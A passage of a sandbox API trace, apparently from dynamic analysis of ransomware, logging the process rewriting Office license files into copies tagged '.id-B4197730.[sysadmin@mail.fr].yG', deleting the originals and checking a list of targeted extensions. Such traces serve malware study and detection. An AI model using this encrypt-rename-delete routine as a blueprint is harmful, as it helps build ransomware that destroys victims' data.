	[0167.511] ReadFile (in: hFile=0x388, lpBuffer=0x43f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f3fecc, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesRead=0x3f3fecc*=0x0, lpOverlapped=0x0) returned 1
	[0167.511] WriteFile (in: hFile=0x554, lpBuffer=0x43f0020*, nNumberOfBytesToWrite=0x11a, lpNumberOfBytesWritten=0x3f3fc94, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesWritten=0x3f3fc94*=0x11a, lpOverlapped=0x0) returned 1
	[0167.512] SetEndOfFile (hFile=0x554) returned 1
	[0167.512] CloseHandle (hObject=0x554) returned 1
	[0167.512] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0167.512] SetEndOfFile (hFile=0x388) returned 1
	[0167.516] CloseHandle (hObject=0x388) returned 1
	[0167.517] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-oob.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0167.701] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail2-ul-oob.xrm-ms")) returned 1
	[0167.812] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-oob.xrm-ms") returned 85
	[0167.812] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-oob.xrm-ms") returned 85
	[0167.812] lstrlenW (lpString=".doc") returned 4
	[0167.812] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0167.812] lstrlenW (lpString=".docx") returned 5
	[0167.812] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0167.812] lstrlenW (lpString=".pdf") returned 4
	[0167.812] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0167.812] lstrlenW (lpString=".xls") returned 4
	[0167.812] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0167.812] lstrlenW (lpString=".xlsx") returned 5
	[0167.812] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0167.812] lstrlenW (lpString=".ppt") returned 4
	[0167.812] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0167.812] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-oob.xrm-ms") returned 85
	[0167.812] lstrlenW (lpString=".zip") returned 4
	[0167.812] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0167.812] lstrlenW (lpString=".rar") returned 4
	[0167.812] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0167.812] lstrlenW (lpString=".bz2") returned 4
	[0167.812] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0167.812] lstrlenW (lpString=".7z") returned 3
	[0167.813] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0167.813] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-oob.xrm-ms") returned 85
	[0167.813] lstrlenW (lpString=".dbf") returned 4
	[0167.813] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0167.813] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-oob.xrm-ms") returned 85
	[0167.813] lstrlenW (lpString=".1cd") returned 4
	[0167.813] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0167.813] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-oob.xrm-ms") returned 85
	[0167.813] lstrlenW (lpString=".jpg") returned 4
	[0167.813] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0168.253] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial2-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d8
	[0168.325] SetFilePointerEx (in: hFile=0x4d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0168.327] SetFilePointerEx (in: hFile=0x4d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0168.333] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-pl.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial2-pl.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554
	[0168.337] GetLastError () returned 0x0
	[0168.337] ReadFile (in: hFile=0x4d8, lpBuffer=0x43f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f3fecc, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesRead=0x3f3fecc*=0x2ba3, lpOverlapped=0x0) returned 1
	[0168.349] WriteFile (in: hFile=0x554, lpBuffer=0x43f0020*, nNumberOfBytesToWrite=0x2bb0, lpNumberOfBytesWritten=0x3f3fc94, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesWritten=0x3f3fc94*=0x2bb0, lpOverlapped=0x0) returned 1
	[0168.351] ReadFile (in: hFile=0x4d8, lpBuffer=0x43f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f3fecc, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesRead=0x3f3fecc*=0x0, lpOverlapped=0x0) returned 1
	[0168.351] WriteFile (in: hFile=0x554, lpBuffer=0x43f0020*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x3f3fc94, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesWritten=0x3f3fc94*=0x110, lpOverlapped=0x0) returned 1
	[0168.351] SetEndOfFile (hFile=0x554) returned 1
	[0168.352] CloseHandle (hObject=0x554) returned 1
	[0168.352] SetFilePointerEx (in: hFile=0x4d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0168.352] SetEndOfFile (hFile=0x4d8) returned 1
	[0168.356] CloseHandle (hObject=0x4d8) returned 1
	[0168.356] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-pl.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0168.356] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial2-pl.xrm-ms")) returned 1
	[0168.357] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-pl.xrm-ms") returned 80
	[0168.357] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-pl.xrm-ms") returned 80
	[0168.358] lstrlenW (lpString=".doc") returned 4
	[0168.358] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0168.358] lstrlenW (lpString=".docx") returned 5
	[0168.358] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0168.358] lstrlenW (lpString=".pdf") returned 4
	[0168.358] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0168.358] lstrlenW (lpString=".xls") returned 4
	[0168.358] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0168.358] lstrlenW (lpString=".xlsx") returned 5
	[0168.358] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0168.358] lstrlenW (lpString=".ppt") returned 4
	[0168.358] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0168.358] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-pl.xrm-ms") returned 80
	[0168.358] lstrlenW (lpString=".zip") returned 4
	[0168.358] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0168.358] lstrlenW (lpString=".rar") returned 4
	[0168.358] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0168.358] lstrlenW (lpString=".bz2") returned 4
	[0168.358] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0168.358] lstrlenW (lpString=".7z") returned 3
	[0168.358] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0168.358] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-pl.xrm-ms") returned 80
	[0168.358] lstrlenW (lpString=".dbf") returned 4
	[0168.358] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0168.358] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-pl.xrm-ms") returned 80
	[0168.359] lstrlenW (lpString=".1cd") returned 4
	[0168.359] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0168.359] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-pl.xrm-ms") returned 80
	[0168.359] lstrlenW (lpString=".jpg") returned 4
	[0168.359] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0168.359] GetFileSizeEx (in: hFile=0x4d8, lpFileSize=0x3f3ff14 | out: lpFileSize=0x3f3ff14*=11215) returned 1
	[0168.359] CloseHandle (hObject=0x4d8) returned 1
	[0168.359] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentdemor_bypasstrial180-pl.xrm-ms")) returned 0x220
	[0168.360] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-pl.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentdemor_bypasstrial180-pl.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0168.361] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentdemor_bypasstrial180-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d8
	[0168.361] SetFilePointerEx (in: hFile=0x4d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0168.361] SetFilePointerEx (in: hFile=0x4d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0168.362] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-pl.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentdemor_bypasstrial180-pl.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554
	[0168.363] GetLastError () returned 0x0
	[0168.363] ReadFile (in: hFile=0x4d8, lpBuffer=0x43f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f3fecc, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesRead=0x3f3fecc*=0x2bcf, lpOverlapped=0x0) returned 1
	[0168.389] WriteFile (in: hFile=0x554, lpBuffer=0x43f0020*, nNumberOfBytesToWrite=0x2bd0, lpNumberOfBytesWritten=0x3f3fc94, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesWritten=0x3f3fc94*=0x2bd0, lpOverlapped=0x0) returned 1
	[0168.391] ReadFile (in: hFile=0x4d8, lpBuffer=0x43f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f3fecc, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesRead=0x3f3fecc*=0x0, lpOverlapped=0x0) returned 1
	[0168.392] WriteFile (in: hFile=0x554, lpBuffer=0x43f0020*, nNumberOfBytesToWrite=0x126, lpNumberOfBytesWritten=0x3f3fc94, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesWritten=0x3f3fc94*=0x126, lpOverlapped=0x0) returned 1
	[0168.392] SetEndOfFile (hFile=0x554) returned 1
	[0168.392] CloseHandle (hObject=0x554) returned 1
	[0168.392] SetFilePointerEx (in: hFile=0x4d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0168.392] SetEndOfFile (hFile=0x4d8) returned 1
	[0168.396] CloseHandle (hObject=0x4d8) returned 1
	[0168.396] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-pl.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0168.397] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentdemor_bypasstrial180-pl.xrm-ms")) returned 1
	[0168.398] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-pl.xrm-ms") returned 91
	[0168.398] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-pl.xrm-ms") returned 91
	[0168.398] lstrlenW (lpString=".doc") returned 4
	[0168.398] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0168.398] lstrlenW (lpString=".docx") returned 5
	[0168.398] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0168.398] lstrlenW (lpString=".pdf") returned 4
	[0168.398] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0168.398] lstrlenW (lpString=".xls") returned 4
	[0168.398] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0168.398] lstrlenW (lpString=".xlsx") returned 5
	[0168.399] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0168.399] lstrlenW (lpString=".ppt") returned 4
	[0168.399] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0168.399] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-pl.xrm-ms") returned 91
	[0168.399] lstrlenW (lpString=".zip") returned 4
	[0168.399] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0168.399] lstrlenW (lpString=".rar") returned 4
	[0168.399] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0168.399] lstrlenW (lpString=".bz2") returned 4
	[0168.399] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0168.399] lstrlenW (lpString=".7z") returned 3
	[0168.399] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0168.399] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-pl.xrm-ms") returned 91
	[0168.399] lstrlenW (lpString=".dbf") returned 4
	[0168.399] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0168.399] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-pl.xrm-ms") returned 91
	[0168.399] lstrlenW (lpString=".1cd") returned 4
	[0168.399] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0168.399] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-pl.xrm-ms") returned 91
	[0168.399] lstrlenW (lpString=".jpg") returned 4
	[0168.399] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0168.400] GetFileSizeEx (in: hFile=0x4d8, lpFileSize=0x3f3ff14 | out: lpFileSize=0x3f3ff14*=21737) returned 1
	[0168.400] CloseHandle (hObject=0x4d8) returned 1
	[0168.402] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentdemor_bypasstrial180-ppd.xrm-ms")) returned 0x220
	[0168.402] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-ppd.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentdemor_bypasstrial180-ppd.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0168.402] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentdemor_bypasstrial180-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d8
	[0168.403] SetFilePointerEx (in: hFile=0x4d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0168.403] SetFilePointerEx (in: hFile=0x4d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0168.403] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-ppd.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentdemor_bypasstrial180-ppd.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554
	[0168.404] GetLastError () returned 0x0
	[0168.404] ReadFile (in: hFile=0x4d8, lpBuffer=0x43f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f3fecc, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesRead=0x3f3fecc*=0x54e9, lpOverlapped=0x0) returned 1
	[0168.731] WriteFile (in: hFile=0x554, lpBuffer=0x43f0020*, nNumberOfBytesToWrite=0x54f0, lpNumberOfBytesWritten=0x3f3fc94, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesWritten=0x3f3fc94*=0x54f0, lpOverlapped=0x0) returned 1
	[0168.732] ReadFile (in: hFile=0x4d8, lpBuffer=0x43f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f3fecc, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesRead=0x3f3fecc*=0x0, lpOverlapped=0x0) returned 1
	[0168.732] WriteFile (in: hFile=0x554, lpBuffer=0x43f0020*, nNumberOfBytesToWrite=0x128, lpNumberOfBytesWritten=0x3f3fc94, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesWritten=0x3f3fc94*=0x128, lpOverlapped=0x0) returned 1
	[0168.732] SetEndOfFile (hFile=0x554) returned 1
	[0168.733] CloseHandle (hObject=0x554) returned 1
	[0168.733] SetFilePointerEx (in: hFile=0x4d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0168.733] SetEndOfFile (hFile=0x4d8) returned 1
	[0168.738] CloseHandle (hObject=0x4d8) returned 1
	[0168.738] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-ppd.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0168.738] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentdemor_bypasstrial180-ppd.xrm-ms")) returned 1
	[0168.739] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-ppd.xrm-ms") returned 92
	[0168.739] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-ppd.xrm-ms") returned 92
	[0168.739] lstrlenW (lpString=".doc") returned 4
	[0168.739] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0168.739] lstrlenW (lpString=".docx") returned 5
	[0168.739] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0168.739] lstrlenW (lpString=".pdf") returned 4
	[0168.739] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0168.740] lstrlenW (lpString=".xls") returned 4
	[0168.740] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0168.740] lstrlenW (lpString=".xlsx") returned 5
	[0168.740] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0168.740] lstrlenW (lpString=".ppt") returned 4
	[0168.740] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0168.740] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-ppd.xrm-ms") returned 92
	[0168.740] lstrlenW (lpString=".zip") returned 4
	[0168.740] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0168.740] lstrlenW (lpString=".rar") returned 4
	[0168.740] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0168.740] lstrlenW (lpString=".bz2") returned 4
	[0168.740] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0168.740] lstrlenW (lpString=".7z") returned 3
	[0168.740] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0168.740] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-ppd.xrm-ms") returned 92
	[0168.740] lstrlenW (lpString=".dbf") returned 4
	[0168.740] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0168.740] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-ppd.xrm-ms") returned 92
	[0168.740] lstrlenW (lpString=".1cd") returned 4
	[0168.740] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0168.740] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-ppd.xrm-ms") returned 92
	[0168.740] lstrlenW (lpString=".jpg") returned 4
	[0168.740] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0168.741] GetFileSizeEx (in: hFile=0x4d8, lpFileSize=0x3f3ff14 | out: lpFileSize=0x3f3ff14*=10659) returned 1
	[0168.741] CloseHandle (hObject=0x4d8) returned 1
	[0168.741] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_oem_perp-pl.xrm-ms")) returned 0x220
	[0168.742] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-pl.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_oem_perp-pl.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0168.742] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_oem_perp-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d8
	[0168.743] SetFilePointerEx (in: hFile=0x4d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0168.743] SetFilePointerEx (in: hFile=0x4d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0168.744] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-pl.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_oem_perp-pl.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554
	[0168.745] GetLastError () returned 0x0
	[0168.745] ReadFile (in: hFile=0x4d8, lpBuffer=0x43f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f3fecc, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesRead=0x3f3fecc*=0x29a3, lpOverlapped=0x0) returned 1
	[0168.765] WriteFile (in: hFile=0x554, lpBuffer=0x43f0020*, nNumberOfBytesToWrite=0x29b0, lpNumberOfBytesWritten=0x3f3fc94, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesWritten=0x3f3fc94*=0x29b0, lpOverlapped=0x0) returned 1
	[0168.767] ReadFile (in: hFile=0x4d8, lpBuffer=0x43f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f3fecc, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesRead=0x3f3fecc*=0x0, lpOverlapped=0x0) returned 1
	[0168.767] WriteFile (in: hFile=0x554, lpBuffer=0x43f0020*, nNumberOfBytesToWrite=0x112, lpNumberOfBytesWritten=0x3f3fc94, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesWritten=0x3f3fc94*=0x112, lpOverlapped=0x0) returned 1
	[0168.767] SetEndOfFile (hFile=0x554) returned 1
	[0168.767] CloseHandle (hObject=0x554) returned 1
	[0168.767] SetFilePointerEx (in: hFile=0x4d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0168.767] SetEndOfFile (hFile=0x4d8) returned 1
	[0168.771] CloseHandle (hObject=0x4d8) returned 1
	[0168.772] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-pl.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0168.772] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_oem_perp-pl.xrm-ms")) returned 1
	[0168.773] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-pl.xrm-ms") returned 81
	[0168.773] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-pl.xrm-ms") returned 81
	[0168.773] lstrlenW (lpString=".doc") returned 4
	[0168.774] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0168.774] lstrlenW (lpString=".docx") returned 5
